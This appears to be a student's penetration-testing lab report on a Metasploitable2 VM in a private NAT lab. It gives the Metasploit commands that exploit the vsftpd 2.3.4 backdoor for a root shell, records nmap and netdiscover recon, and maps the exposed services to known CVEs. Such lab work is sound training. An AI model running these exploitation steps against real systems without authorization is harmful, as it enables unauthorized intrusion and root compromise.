VULNERABILITY IDENTIFICATION & EXPLOIT SELECTION

Objective:
Recon me jo vulnerabilities detect hui, unme se viable exploit select + confirm karna, exploitibility validate karna, aur attack prepare karna.

2.1 — Vulnerability Confirmation (VSFTPD 2.3.4)

Recon se service fingerprint:

```
21/tcp open ftp vsftpd 2.3.4
```

Ye known RCE vulnerability hai:

✓ CVE-ID: **CVE-2011-2523**
✓ Type: **Backdoor Remote Code Execution**
✓ Impact: Direct **root shell**

Capstone me ye perfect POC RCE hai.

2.2 — Metasploit Module Identification

Open metasploit:

```
msfconsole
search vsftpd
```

Expected output:

```
exploit/unix/ftp/vsftpd_234_backdoor
```

This confirms exploit availability.

📌 Screenshot #1 → search result (Capstone me add)

2.3 — Module Selection and Configuration

Select exploit:

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

Set target:

```
set RHOSTS 192.168.79.129
```

(Your Meta IP se match karta hua)

No auth required
No payload customization required

📌 Screenshot #2 → Module loaded

2.4 — Exploit Execution

Run:

```
run
```

Expected:

```
Command shell session opened
```

2.5 — Post-Exploitation Validation (Mandatory for Report)

Inside shell:

```
id
whoami
hostname
uname -a
```

Expected output:

```
uid=0(root) gid=0(root)
```

📌 Screenshot #3 → Proof of Exploit (root shell)

2.6 — PTES Mapping for Phase 2

PTES Step	Action
Vulnerability Analysis	Version confirms RCE
Exploit Selection	VSFTPD 2.3.4
Exploit Validation	Shell received
Privilege Verification	Root confirmed

2.7 — Attack Log Table (Capstone Requirement)

Example:

Timestamp	Target	Vulnerability	Tool	Result	PTES Phase
2026-01-21 03:20:00	192.168.79.129	VSFTPD Backdoor	Metasploit	Root Shell	Exploitation

---

2.8 — Risk Assessment (Professional Requirement)

Factor	Value
CVSS	10.0 (Critical)
Attack Vector	Network
Privilege Gain	Root
Complexity	Low
Authentication	None

Project: Metasploitable2 Penetration Testing Lab
Tester: Priyank
Date: January 2026
Methodology: PTES + OSSTMM Hybrid

---

1. Executive Summary

This assessment was conducted on a Metasploitable2 Linux-based target running within a NAT-based VM lab. The goal was to simulate an internal penetration test, identify exploitable attack surfaces, and enumerate insecure services. The engagement successfully identified multiple exposed services and legacy binaries known to contain critical vulnerabilities (e.g., vsftpd 2.3.4, Samba 3.0.20, Apache 2.2).

---

2. Scope & Environment

Environment Setup:

- Host Machine: Kali Linux VM (Attacker)
- Target Machine: Metasploitable2 VM
- Network Mode: NAT
- Connectivity: Local Internal Lab

Tools Used:

- Nmap
- Netdiscover
- Vim/Browser
- Enum4Linux

---

3. Phase-1: Information Gathering

Objective: Identify network topology and detect the target machine within the NAT network.

Command:

```
netdiscover -r 192.168.79.129
```

Observed Results:

- Target VM discovered within NAT subnet
- Target IP identified successfully

---

4. Phase-2: Host Discovery

Command:

```
ping 192.168.79.129
```

Status:

- Host responded to ICMP echo requests
- Status: Host Alive

---

5. Phase-3: Scanning & Enumeration

Nmap Service Scan:

```
nmap -sV -sC -Pn 192.168.79.129
```

Summary of Detected Open Ports:

Port	Service	Version
21	FTP	vsftpd 2.3.4
22	SSH	OpenSSH 4.7p1
23	Telnet	Busybox telnetd
25	SMTP	Postfix smtp
80	HTTP	Apache 2.2.8
139/445	SMB	Samba 3.0.20
3306	MySQL	MySQL 5.0.51
5432	PostgreSQL	PostgreSQL 8.x
8180	HTTP	Tomcat 5.5

Potential Vulnerability Mapping:

Service	CVE	Risk	Notes
vsftpd 2.3.4	CVE-2011-2523	Critical	RCE Backdoor
Samba 3.0.20	CVE-2007-2447	High	Command Execution
Apache 2.2.8	Multiple	Medium	Outdated
MySQL 5.0.51	CVE-2012-2122	High	Auth Bypass
Tomcat 5.5	Multiple	High	Weak Auth / RCE